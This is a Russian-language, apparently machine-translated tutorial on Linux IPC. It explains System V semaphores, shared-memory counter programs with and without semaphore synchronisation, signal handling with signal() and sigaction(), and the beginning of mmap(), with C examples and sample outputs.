#include <sys/sem.h>
int semop(int semid, struct sembuf *semops, size_t nsemops)
Этот системный вызов выполняет операции с наборами семафоров System V, а именно выделяет ресурсы, ожидает ресурсов или освобождает ресурсы. Необходимо передать следующие аргументы -
Первый аргумент, semid, указывает идентификатор набора семафоров, созданный функцией semget ().
Второй аргумент, semops, - это указатель на массив операций, которые будут выполняться с набором семафоров. Структура выглядит следующим образом -
struct sembuf {
unsigned short sem_num; /* Semaphore set num */
short sem_op; /* Semaphore operation */
short sem_flg; /* Operation flags, IPC_NOWAIT, SEM_UNDO */
};
Элемент sem_op в приведенной выше структуре указывает операцию, которую необходимо выполнить:
Если sem_op –ve, выделить или получить ресурсы. Блокирует вызывающий процесс до тех пор, пока другие процессы не освободят достаточно ресурсов, чтобы этот процесс мог выделить.
Если sem_op равен нулю, вызывающий процесс ждет или спит, пока значение семафора не достигнет 0.
Если sem_op равно + ve, освободите ресурсы.
Например -
struct sembuf sem_lock = {0, -1, SEM_UNDO};
struct sembuf sem_unlock = {0, 1, SEM_UNDO};
Третий аргумент, nsemops, - это количество операций в этом массиве.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
int semctl(int semid, int semnum, int cmd, …)
Этот системный вызов выполняет операцию управления семафором System V. Необходимо передать следующие аргументы -
Первый аргумент, semid, является идентификатором семафора. Этот идентификатор является идентификатором семафора, который является возвращаемым значением системного вызова semget ().
Второй аргумент, семнум, - это номер семафора. Семафоры нумеруются от 0.
Третий аргумент, cmd, - это команда для выполнения требуемой операции управления семафором.
Четвертый аргумент типа union semun зависит от cmd. В некоторых случаях четвертый аргумент неприменим.
Проверим союз семун -
union semun {
int val; /* val for SETVAL */
struct semid_ds *buf; /* Buffer for IPC_STAT and IPC_SET */
unsigned short *array; /* Buffer for GETALL and SETALL */
struct seminfo *__buf; /* Buffer for IPC_INFO and SEM_INFO*/
};
Структура данных semid_ds, которая определена в sys / sem.h, выглядит следующим образом:
struct semid_ds {
struct ipc_perm sem_perm; /* Permissions */
time_t sem_otime; /* Last semop time */
time_t sem_ctime; /* Last change time */
unsigned long sem_nsems; /* Number of semaphores in the set */
};
Note - Пожалуйста, обратитесь к страницам руководства для получения информации о других структурах данных.
union semun arg; Допустимые значения для cmd:
IPC_STAT- Копирует информацию о текущих значениях каждого члена struct semid_ds в переданную структуру, указанную arg.buf. Эта команда требует разрешения на чтение семафора.
IPC_SET - Устанавливает идентификатор пользователя, идентификатор группы владельца, разрешения и т. Д., На которые указывает структура semid_ds.
IPC_RMID - Удаляет набор семафоров.
IPC_INFO - Возвращает информацию об ограничениях семафоров и параметрах в структуре semid_ds, на которую указывает arg .__ buf.
SEM_INFO - Возвращает структуру Seminfo, содержащую информацию о потребленных семафором системных ресурсах.
Этот вызов вернет значение (неотрицательное значение) в зависимости от переданной команды. В случае успеха IPC_INFO и SEM_INFO или SEM_STAT возвращает индекс или идентификатор наиболее используемой записи согласно Semaphore, или значение semncnt для GETNCNT, или значение sempid для GETPID, или значение semval для GETVAL 0 для других операций в случае успеха и - 1 в случае отказа. Чтобы узнать причину сбоя, проверьте с помощью переменной errno или функции perror ().
Прежде чем смотреть на код, давайте разберемся с его реализацией -
Создайте два процесса, скажем, дочерний и родительский.
Создайте общую память, в основном необходимую для хранения счетчика и других флагов, указывающих на конец процесса чтения / записи в общую память.
Счетчик увеличивается на счет как родительского, так и дочернего процессов. Счетчик либо передается как аргумент командной строки, либо принимается по умолчанию (если не передан как аргумент командной строки или значение меньше 10000). Вызывается с определенным временем ожидания, чтобы гарантировать, что и родитель, и потомок получают доступ к общей памяти одновременно, т. Е. Параллельно.
Поскольку счетчик увеличивается с шагом 1 как родительским, так и дочерним, окончательное значение должно быть вдвое больше счетчика. Поскольку родительский и дочерний процессы выполняют операции одновременно, счетчик не увеличивается, как требуется. Следовательно, нам необходимо обеспечить полноту завершения одного процесса, за которым следует другой процесс.
Все вышеперечисленные реализации выполняются в файле shm_write_cntr.c
Проверьте, реализовано ли значение счетчика в файле shm_read_cntr.c
Для обеспечения завершения программа семафоров реализована в файле shm_write_cntr_with_sem.c. Удалите семафор после завершения всего процесса (после чтения из другой программы)
Поскольку у нас есть отдельные файлы для чтения значения счетчика в общей памяти и не имеют никакого эффекта от записи, программа чтения остается прежней (shm_read_cntr.c)
Всегда лучше выполнять программу записи в одном терминале и читать программу из другого терминала. Поскольку программа завершает выполнение только после завершения процесса записи и чтения, можно запускать программу после полного выполнения программы записи. Программа записи будет ждать, пока программа чтения не будет запущена, и завершится только после ее завершения.
Программы без семафоров.
/* Filename: shm_write_cntr.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define SHM_KEY 0x12345
struct shmseg {
int cntr;
int write_complete;
int read_complete;
};
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count);
int main(int argc, char *argv[]) {
int shmid;
struct shmseg *shmp;
char *bufptr;
int total_count;
int sleep_time;
pid_t pid;
if (argc != 2)
total_count = 10000;
else {
total_count = atoi(argv[1]);
if (total_count < 10000)
total_count = 10000;
}
printf("Total Count is %d\n", total_count);
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
shmp->cntr = 0;
pid = fork();
/* Parent Process - Writing Once */
if (pid > 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
} else if (pid == 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
return 0;
} else {
perror("Fork Failure\n");
return 1;
}
while (shmp->read_complete != 1)
sleep(1);
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
if (shmctl(shmid, IPC_RMID, 0) == -1) {
perror("shmctl");
return 1;
}
printf("Writing Process: Complete\n");
return 0;
}
/* Increment the counter of shared memory by total_count in steps of 1 */
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count) {
int cntr;
int numtimes;
int sleep_time;
cntr = shmp->cntr;
shmp->write_complete = 0;
if (pid == 0)
printf("SHM_WRITE: CHILD: Now writing\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Now writing\n");
//printf("SHM_CNTR is %d\n", shmp->cntr);
/* Increment the counter in shared memory by total_count in steps of 1 */
for (numtimes = 0; numtimes < total_count; numtimes++) {
cntr += 1;
shmp->cntr = cntr;
/* Sleeping for a second for every thousand */
sleep_time = cntr % 1000;
if (sleep_time == 0)
sleep(1);
}
shmp->write_complete = 1;
if (pid == 0)
printf("SHM_WRITE: CHILD: Writing Done\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Writing Done\n");
return;
}
Этапы компиляции и выполнения
Total Count is 10000
SHM_WRITE: PARENT: Now writing
SHM_WRITE: CHILD: Now writing
SHM_WRITE: PARENT: Writing Done
SHM_WRITE: CHILD: Writing Done
Writing Process: Complete
Теперь давайте проверим программу чтения разделяемой памяти.
/* Filename: shm_read_cntr.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#define SHM_KEY 0x12345
struct shmseg {
int cntr;
int write_complete;
int read_complete;
};
int main(int argc, char *argv[]) {
int shmid, numtimes;
struct shmseg *shmp;
int total_count;
int cntr;
int sleep_time;
if (argc != 2)
total_count = 10000;
else {
total_count = atoi(argv[1]);
if (total_count < 10000)
total_count = 10000;
}
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
/* Read the shared memory cntr and print it on standard output */
while (shmp->write_complete != 1) {
if (shmp->cntr == -1) {
perror("read");
return 1;
}
sleep(3);
}
printf("Reading Process: Shared Memory: Counter is %d\n", shmp->cntr);
printf("Reading Process: Reading Done, Detaching Shared Memory\n");
shmp->read_complete = 1;
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
printf("Reading Process: Complete\n");
return 0;
}
Этапы компиляции и выполнения
Reading Process: Shared Memory: Counter is 11000
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete
Если вы наблюдаете вышеприведенный вывод, счетчик должен быть 20000, однако, поскольку перед завершением одной задачи процесса другой процесс также обрабатывается параллельно, значение счетчика не такое, как ожидалось. Результат будет отличаться от системы к системе, а также будет меняться при каждом выполнении. Чтобы два процесса выполняли задачу после завершения одной задачи, ее следует реализовать с использованием механизмов синхронизации.
Теперь давайте проверим то же приложение с помощью семафоров.
Note - Программа чтения осталась прежней.
/* Filename: shm_write_cntr_with_sem.c */
#include<stdio.h>
#include<sys/types.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/sem.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define SHM_KEY 0x12345
#define SEM_KEY 0x54321
#define MAX_TRIES 20
struct shmseg {
int cntr;
int write_complete;
int read_complete;
};
void shared_memory_cntr_increment(int, struct shmseg*, int);
void remove_semaphore();
int main(int argc, char *argv[]) {
int shmid;
struct shmseg *shmp;
char *bufptr;
int total_count;
int sleep_time;
pid_t pid;
if (argc != 2)
total_count = 10000;
else {
total_count = atoi(argv[1]);
if (total_count < 10000)
total_count = 10000;
}
printf("Total Count is %d\n", total_count);
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach: ");
return 1;
}
shmp->cntr = 0;
pid = fork();
/* Parent Process - Writing Once */
if (pid > 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
} else if (pid == 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
return 0;
} else {
perror("Fork Failure\n");
return 1;
}
while (shmp->read_complete != 1)
sleep(1);
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
if (shmctl(shmid, IPC_RMID, 0) == -1) {
perror("shmctl");
return 1;
}
printf("Writing Process: Complete\n");
remove_semaphore();
return 0;
}
/* Increment the counter of shared memory by total_count in steps of 1 */
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count) {
int cntr;
int numtimes;
int sleep_time;
int semid;
struct sembuf sem_buf;
struct semid_ds buf;
int tries;
int retval;
semid = semget(SEM_KEY, 1, IPC_CREAT | IPC_EXCL | 0666);
//printf("errno is %d and semid is %d\n", errno, semid);
/* Got the semaphore */
if (semid >= 0) {
printf("First Process\n");
sem_buf.sem_op = 1;
sem_buf.sem_flg = 0;
sem_buf.sem_num = 0;
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Operation: ");
return;
}
} else if (errno == EEXIST) { // Already other process got it
int ready = 0;
printf("Second Process\n");
semid = semget(SEM_KEY, 1, 0);
if (semid < 0) {
perror("Semaphore GET: ");
return;
}
/* Waiting for the resource */
sem_buf.sem_num = 0;
sem_buf.sem_op = 0;
sem_buf.sem_flg = SEM_UNDO;
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Locked: ");
return;
}
}
sem_buf.sem_num = 0;
sem_buf.sem_op = -1; /* Allocating the resources */
sem_buf.sem_flg = SEM_UNDO;
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Locked: ");
return;
}
cntr = shmp->cntr;
shmp->write_complete = 0;
if (pid == 0)
printf("SHM_WRITE: CHILD: Now writing\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Now writing\n");
//printf("SHM_CNTR is %d\n", shmp->cntr);
/* Increment the counter in shared memory by total_count in steps of 1 */
for (numtimes = 0; numtimes < total_count; numtimes++) {
cntr += 1;
shmp->cntr = cntr;
/* Sleeping for a second for every thousand */
sleep_time = cntr % 1000;
if (sleep_time == 0)
sleep(1);
}
shmp->write_complete = 1;
sem_buf.sem_op = 1; /* Releasing the resource */
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Locked\n");
return;
}
if (pid == 0)
printf("SHM_WRITE: CHILD: Writing Done\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Writing Done\n");
return;
}
void remove_semaphore() {
int semid;
int retval;
semid = semget(SEM_KEY, 1, 0);
if (semid < 0) {
perror("Remove Semaphore: Semaphore GET: ");
return;
}
retval = semctl(semid, 0, IPC_RMID);
if (retval == -1) {
perror("Remove Semaphore: Semaphore CTL: ");
return;
}
return;
}
Этапы компиляции и выполнения
Total Count is 10000
First Process
SHM_WRITE: PARENT: Now writing
Second Process
SHM_WRITE: PARENT: Writing Done
SHM_WRITE: CHILD: Now writing
SHM_WRITE: CHILD: Writing Done
Writing Process: Complete
Теперь мы проверим значение счетчика в процессе чтения.
Шаги выполнения
Reading Process: Shared Memory: Counter is 20000
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete
А signal- это уведомление для процесса, указывающее на возникновение события. Сигнал еще называютsoftware interrupt и непредсказуемо узнать его возникновение, поэтому его также называют asynchronous event.
Сигнал может быть указан с помощью номера или имени, обычно имена сигналов начинаются с SIG. Доступные сигналы можно проверить с помощью команды kill –l (l для перечисления имен сигналов), которая выглядит следующим образом:
Каждый раз, когда возникает сигнал (программно или сгенерированный системой), выполняется действие по умолчанию. Что делать, если вы не хотите выполнять действие по умолчанию, но хотите выполнить свои собственные действия при получении сигнала? Возможно ли это для всех сигналов? Да, можно обработать сигнал, но не для всех сигналов. Что, если вы хотите игнорировать сигналы, возможно ли это? Да, сигнал можно игнорировать. Игнорирование сигнала не означает ни выполнения действия по умолчанию, ни обработки сигнала. Почти все сигналы можно игнорировать или обрабатывать. Сигналы, которые нельзя игнорировать или обработать / поймать, - это SIGSTOP и SIGKILL.
Таким образом, действия, выполняемые для сигналов, следующие:
- Действие по умолчанию
- Обработка сигнала
- Игнорировать сигнал
Как обсуждалось, сигнал можно обработать, изменив выполнение действия по умолчанию. Обработка сигналов может выполняться одним из двух способов, то есть с помощью системных вызовов signal () и sigaction ().
#include <signal.h>
typedef void (*sighandler_t) (int);
sighandler_t signal(int signum, sighandler_t handler);
Системный вызов signal () будет вызывать зарегистрированный обработчик после генерации сигнала, как указано в signum. Обработчик может быть либо одним из SIG_IGN (игнорирование сигнала), SIG_DFL (возврат сигнала к механизму по умолчанию) или определяемым пользователем обработчиком сигнала или адресом функции.
Этот системный вызов в случае успеха возвращает адрес функции, которая принимает целочисленный аргумент и не имеет возвращаемого значения. Этот вызов возвращает SIG_ERR в случае ошибки.
Хотя с помощью signal () можно вызвать соответствующий обработчик сигналов, зарегистрированный пользователем, точная настройка, такая как маскирование сигналов, которые должны быть заблокированы, изменение поведения сигнала и другие функции невозможны. Это возможно с помощью системного вызова sigaction ().
#include <signal.h>
int sigaction(int signum, const struct sigaction *act, struct sigaction *oldact)
Этот системный вызов используется для проверки или изменения действия сигнала. Если акт не является нулевым, новое действие для signal signum устанавливается из акта. Если oldact не равен нулю, предыдущее действие сохраняется в oldact.
Структура sigaction содержит следующие поля -
Field 1 - Обработчик упомянут в sa_handler или sa_sigaction.
void (*sa_handler)(int);
void (*sa_sigaction)(int, siginfo_t *, void *);
Обработчик для sa_handler определяет действие, которое должно быть выполнено, на основе знака и с SIG_DFL, указывающим действие по умолчанию, или SIG_IGN, чтобы игнорировать сигнал или указатель на функцию обработки сигнала.
Обработчик для sa_sigaction указывает номер сигнала в качестве первого аргумента, указатель на структуру siginfo_t в качестве второго аргумента и указатель на контекст пользователя (см. Getcontext () или setcontext () для получения дополнительных сведений) в качестве третьего аргумента.
Структура siginfo_t содержит информацию о сигнале, такую как номер сигнала, который должен быть доставлен, значение сигнала, идентификатор процесса, реальный идентификатор пользователя процесса отправки и т. Д.
Field 2 - Набор сигналов, которые нужно заблокировать.
int sa_mask;
Эта переменная определяет маску сигналов, которые должны быть заблокированы во время выполнения обработчика сигналов.
Field 3 - Специальные флаги.
int sa_flags;
Это поле определяет набор флагов, которые изменяют поведение сигнала.
Field 4 - Восстановить обработчик.
void (*sa_restorer) (void);
Этот системный вызов возвращает 0 в случае успеха и -1 в случае неудачи.
Рассмотрим несколько примеров программ.
Во-первых, давайте начнем с примера программы, которая генерирует исключение. В этой программе мы пытаемся выполнить операцию деления на ноль, что заставляет систему генерировать исключение.
/* signal_fpe.c */
#include<stdio.h>
int main() {
int result;
int v1, v2;
v1 = 121;
v2 = 0;
result = v1/v2;
printf("Result of Divide by Zero is %d\n", result);
return 0;
}
Этапы компиляции и выполнения
Floating point exception (core dumped)
Таким образом, когда мы пытаемся выполнить арифметическую операцию, система сгенерировала исключение с плавающей запятой с дампом ядра, что является действием по умолчанию для сигнала.
Теперь давайте изменим код для обработки этого конкретного сигнала с помощью системного вызова signal ().
/* signal_fpe_handler.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_dividebyzero(int signum);
int main() {
int result;
int v1, v2;
void (*sigHandlerReturn)(int);
sigHandlerReturn = signal(SIGFPE, handler_dividebyzero);
if (sigHandlerReturn == SIG_ERR) {
perror("Signal Error: ");
return 1;
}
v1 = 121;
v2 = 0;
result = v1/v2;
printf("Result of Divide by Zero is %d\n", result);
return 0;
}
void handler_dividebyzero(int signum) {
if (signum == SIGFPE) {
printf("Received SIGFPE, Divide by Zero Exception\n");
exit (0);
}
else
printf("Received %d Signal\n", signum);
return;
}
Этапы компиляции и выполнения
Received SIGFPE, Divide by Zero Exception
Как обсуждалось, сигналы генерируются системой (при выполнении определенных операций, таких как деление на ноль и т. Д.), Или пользователь также может генерировать сигнал программно. Если вы хотите сгенерировать сигнал программно, используйте библиотечную функцию raise ().
Теперь давайте возьмем другую программу, чтобы продемонстрировать обработку и игнорирование сигнала.
Предположим, что мы подняли сигнал с помощью функции raise (), что происходит дальше? После подачи сигнала выполнение текущего процесса останавливается. Что тогда происходит с остановленным процессом? Может быть два сценария: во-первых, продолжить выполнение, когда это необходимо. Во-вторых, завершите (с помощью команды kill) процесс.
Чтобы продолжить выполнение остановленного процесса, отправьте SIGCONT этому конкретному процессу. Вы также можете выполнить команды fg (передний план) или bg (фон), чтобы продолжить выполнение. Здесь команды перезапустили бы выполнение только последнего процесса. Если остановлено более одного процесса, возобновляется только последний процесс. Если вы хотите возобновить ранее остановленный процесс, возобновите задания (используя fg / bg) вместе с номером задания.
Следующая программа используется для поднятия сигнала SIGSTOP с помощью функции raise (). Сигнал SIGSTOP также может быть сгенерирован нажатием клавиши CTRL + Z (Control + Z). После подачи этого сигнала программа прекратит выполнение. Отправьте сигнал (SIGCONT), чтобы продолжить выполнение.
В следующем примере мы возобновляем остановленный процесс с помощью команды fg.
/* signal_raising.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
int main() {
printf("Testing SIGSTOP\n");
raise(SIGSTOP);
return 0;
}
Этапы компиляции и выполнения
Testing SIGSTOP
[1]+ Stopped ./a.out
./a.out
Теперь улучшите предыдущую программу, чтобы продолжить выполнение остановленного процесса, выдав SIGCONT с другого терминала.
/* signal_stop_continue.c */
#include<stdio.h>
#include<signal.h>
#include <sys/types.h>
#include <unistd.h>
void handler_sigtstp(int signum);
int main() {
pid_t pid;
printf("Testing SIGSTOP\n");
pid = getpid();
printf("Open Another Terminal and issue following command\n");
printf("kill -SIGCONT %d or kill -CONT %d or kill -18 %d\n", pid, pid, pid);
raise(SIGSTOP);
printf("Received signal SIGCONT\n");
return 0;
}
Этапы компиляции и выполнения
Testing SIGSTOP
Open Another Terminal and issue following command
kill -SIGCONT 30379 or kill -CONT 30379 or kill -18 30379
[1]+ Stopped ./a.out
Received signal SIGCONT
[1]+ Done ./a.out
В другом терминале
kill -SIGCONT 30379
До сих пор мы видели программу, которая обрабатывает сигнал, генерируемый системой. Теперь давайте посмотрим, какой сигнал генерируется программой (с помощью функции raise () или с помощью команды kill). Эта программа генерирует сигнал SIGTSTP (терминальная остановка), действие которого по умолчанию - остановить выполнение. Однако, поскольку мы обрабатываем сигнал сейчас, а не действие по умолчанию, он поступит в определенный обработчик. В этом случае мы просто печатаем сообщение и выходим.
/* signal_raising_handling.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_sigtstp(int signum);
int main() {
void (*sigHandlerReturn)(int);
sigHandlerReturn = signal(SIGTSTP, handler_sigtstp);
if (sigHandlerReturn == SIG_ERR) {
perror("Signal Error: ");
return 1;
}
printf("Testing SIGTSTP\n");
raise(SIGTSTP);
return 0;
}
void handler_sigtstp(int signum) {
if (signum == SIGTSTP) {
printf("Received SIGTSTP\n");
exit(0);
}
else
printf("Received %d Signal\n", signum);
return;
}
Этапы компиляции и выполнения
Testing SIGTSTP
Received SIGTSTP
Мы видели случаи выполнения действия по умолчанию или обработки сигнала. Теперь пора игнорировать сигнал. Здесь, в этом примере программы, мы регистрируем сигнал SIGTSTP для игнорирования через SIG_IGN, а затем повышаем сигнал SIGTSTP (терминальная остановка). Когда генерируется сигнал SIGTSTP, он игнорируется.
/* signal_raising_ignoring.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_sigtstp(int signum);
int main() {
void (*sigHandlerReturn)(int);
sigHandlerReturn = signal(SIGTSTP, SIG_IGN);
if (sigHandlerReturn == SIG_ERR) {
perror("Signal Error: ");
return 1;
}
printf("Testing SIGTSTP\n");
raise(SIGTSTP);
printf("Signal SIGTSTP is ignored\n");
return 0;
}
Этапы компиляции и выполнения
Testing SIGTSTP
Signal SIGTSTP is ignored
До сих пор мы наблюдали, что у нас есть один обработчик сигнала для обработки одного сигнала. Можем ли мы иметь один обработчик для обработки нескольких сигналов? Ответ - да. Давайте рассмотрим это с помощью программы.
Следующая программа делает следующее -
Step 1 - Регистрирует обработчик (handleSignals) для перехвата или обработки сигналов SIGINT (CTRL + C) или SIGQUIT (CTRL + \)
Step 2 - Если пользователь генерирует сигнал SIGQUIT (либо с помощью команды kill, либо с клавиатуры с помощью CTRL + \), обработчик просто печатает сообщение как return.
Step 3 - Если пользователь генерирует сигнал SIGINT (либо с помощью команды kill, либо с клавиатуры с помощью CTRL + C) в первый раз, то он изменяет сигнал для выполнения действия по умолчанию (с SIG_DFL) в следующий раз.
Step 4 - Если пользователь генерирует сигнал SIGINT второй раз, он выполняет действие по умолчанию, а именно завершение программы.
/* Filename: sigHandler.c */
#include<stdio.h>
#include<unistd.h>
#include<signal.h>
void handleSignals(int signum);
int main(void) {
void (*sigHandlerInterrupt)(int);
void (*sigHandlerQuit)(int);
void (*sigHandlerReturn)(int);
sigHandlerInterrupt = sigHandlerQuit = handleSignals;
sigHandlerReturn = signal(SIGINT, sigHandlerInterrupt);
if (sigHandlerReturn == SIG_ERR) {
perror("signal error: ");
return 1;
}
sigHandlerReturn = signal(SIGQUIT, sigHandlerQuit);
if (sigHandlerReturn == SIG_ERR) {
perror("signal error: ");
return 1;
}
while (1) {
printf("\nTo terminate this program, perform the following: \n");
printf("1. Open another terminal\n");
printf("2. Issue command: kill %d or issue CTRL+C 2 times (second time it terminates)\n", getpid());
sleep(10);
}
return 0;
}
void handleSignals(int signum) {
switch(signum) {
case SIGINT:
printf("\nYou pressed CTRL+C \n");
printf("Now reverting SIGINT signal to default action\n");
signal(SIGINT, SIG_DFL);
break;
case SIGQUIT:
printf("\nYou pressed CTRL+\\ \n");
break;
default:
printf("\nReceived signal number %d\n", signum);
break;
}
return;
}
Этапы компиляции и выполнения
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 74 or issue CTRL+C 2 times (second time it terminates)
^C
You pressed CTRL+C
Now reverting SIGINT signal to default action
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 74 or issue CTRL+C 2 times (second time it terminates)
^\You pressed CTRL+\
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 120
Terminated
Другой терминал
kill 71
Второй метод
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 71 or issue CTRL+C 2 times (second time it terminates)
^C
You pressed CTRL+C
Now reverting SIGINT signal to default action
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 71 or issue CTRL+C 2 times (second time it terminates)
^C
Мы знаем, что для обработки сигнала у нас есть два системных вызова, то есть signal () или sigaction (). До сих пор мы видели системный вызов signal (), теперь пришло время для системного вызова sigaction (). Давайте изменим указанную выше программу для выполнения с использованием sigaction () следующим образом:
/* Filename: sigHandlerSigAction.c */
#include<stdio.h>
#include<unistd.h>
#include<signal.h>
void handleSignals(int signum);
int main(void) {
void (*sigHandlerReturn)(int);
struct sigaction mysigaction;
mysigaction.sa_handler = handleSignals;
sigemptyset(&mysigaction.sa_mask);
mysigaction.sa_flags = 0;
sigaction(SIGINT, &mysigaction, NULL);
if (mysigaction.sa_handler == SIG_ERR) {
perror("signal error: ");
return 1;
}
mysigaction.sa_handler = handleSignals;
sigemptyset(&mysigaction.sa_mask);
mysigaction.sa_flags = 0;
sigaction(SIGQUIT, &mysigaction, NULL);
if (mysigaction.sa_handler == SIG_ERR) {
perror("signal error: ");
return 1;
}
while (-1) {
printf("\nTo terminate this program, perform either of the following: \n");
printf("1. Open another terminal and issue command: kill %d\n", getpid());
printf("2. Issue CTRL+C 2 times (second time it terminates)\n");
sleep(10);
}
return 0;
}
void handleSignals(int signum) {
switch(signum) {
case SIGINT:
printf("\nYou have entered CTRL+C \n");
printf("Now reverting SIGINT signal to perform default action\n");
signal(SIGINT, SIG_DFL);
break;
case SIGQUIT:
printf("\nYou have entered CTRL+\\ \n");
break;
default:
printf("\nReceived signal number %d\n", signum);
break;
}
return;
}
Давайте посмотрим на процесс компиляции и выполнения. В процессе выполнения давайте дважды увидим проблему CTRL + C, оставшиеся проверки / способы (как указано выше) вы также можете попробовать для этой программы.
Этапы компиляции и выполнения
To terminate this program, perform either of the following:
1. Open another terminal and issue command: kill 3199
2. Issue CTRL+C 2 times (second time it terminates)
^C
You have entered CTRL+C
Now reverting SIGINT signal to perform default action
To terminate this program, perform either of the following:
1. Open another terminal and issue command: kill 3199
2. Issue CTRL+C 2 times (second time it terminates)
^C
Системный вызов mmap () обеспечивает отображение в виртуальном адресном пространстве вызывающего процесса, который отображает файлы или устройства в память. Это два типа -
File mapping or File-backed mapping- Это отображение отображает область виртуальной памяти процесса на файлы. Это означает, что чтение или запись в эти области памяти приводит к чтению или записи файла. Это тип сопоставления по умолчанию.
Anonymous mapping- Это отображение отображает область виртуальной памяти процесса без поддержки какого-либо файла. Содержимое инициализируется нулем. Это сопоставление похоже на распределение динамической памяти (malloc ()) и используется в некоторых реализациях malloc () для определенных выделений.
Память в одном отображении процесса может использоваться совместно с отображениями в других процессах. Это можно сделать двумя способами -
Когда два процесса отображают одну и ту же область файла, они используют одни и те же страницы физической памяти.
Если создается дочерний процесс, он наследует сопоставления родительского процесса, и эти сопоставления относятся к тем же страницам физической памяти, что и родительский. При любом изменении данных в дочернем процессе для дочернего процесса будут созданы разные страницы.
Когда два или более процессов совместно используют одни и те же страницы, каждый процесс может видеть изменения содержимого страницы, сделанные другими процессами, в зависимости от типа сопоставления. Тип сопоставления может быть частным или общим -
Private Mapping (MAP_PRIVATE) - Изменения содержимого этого сопоставления не видны другим процессам, и отображение не переносится в базовый файл.
Shared Mapping (MAP_SHARED) - Изменения содержимого этого сопоставления видны другим процессам, и отображение переносится в базовый файл.
#include <sys/mman.h>
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
Вышеупомянутый системный вызов возвращает начальный адрес отображения в случае успеха или MAP_FAILED в случае ошибки.
Виртуальный адрес addr может быть задан пользователем или сгенерирован ядром (при передаче addr как NULL). Для указанной длины поля требуется размер отображения в байтах. Поле prot указывает значения защиты памяти, такие как PROT_NONE, PROT_READ, PROT_WRITE, PROT_EXEC, предназначенные для областей, к которым нельзя получить доступ, чтение, запись или выполнение соответственно. Это значение может быть одиночным (PROT_NONE) или может быть объединено с любым из трех флагов (последние 3). Флаги поля указывают тип отображения либо MAP_PRIVATE, либо MAP_SHARED. Поле «fd» указывает дескриптор файла, идентифицирующий файл, который должен быть отображен, а поле «смещение» подразумевает начальную точку файла, если необходимо отобразить весь файл, смещение должно быть нулевым.
#include <sys/mman.h>
int munmap(void *addr, size_t length);
Вышеупомянутый системный вызов возвращает 0 в случае успеха или -1 в случае ошибки.
Системный вызов munmap выполняет отключение уже отображенной области памяти. Поля addr указывают начальный адрес отображения, а длина указывает размер в байтах отображения, которое необходимо отключить. Обычно отображение и отключение выполняется для всех отображаемых регионов. Если он должен быть другим, то его следует либо усадить, либо разрезать на две части. Если у addr нет сопоставлений, этот вызов не будет иметь никакого эффекта, и вызов вернет 0 (успех).
Давайте рассмотрим пример -
Step 1 - Запишите в файл буквенно-цифровые символы, как показано ниже -
0 | 1 | 2 | … | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | … | 59 | 60 | 61 |
A | B | C | … | Z | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | A | b | c | … | x | y | z |
Step 2- Сопоставьте содержимое файла с памятью с помощью системного вызова mmap (). Это вернет начальный адрес после отображения в память.
Step 3- Доступ к содержимому файла с использованием нотации массива (также возможен доступ с нотацией указателя), поскольку не читает дорогостоящий системный вызов read (). Используя отображение памяти, избегайте множественного копирования между пользовательским пространством, буферами пространства ядра и буферным кешем.
Step 4 - Повторяйте чтение содержимого файла, пока пользователь не введет «-1» (означает конец доступа).
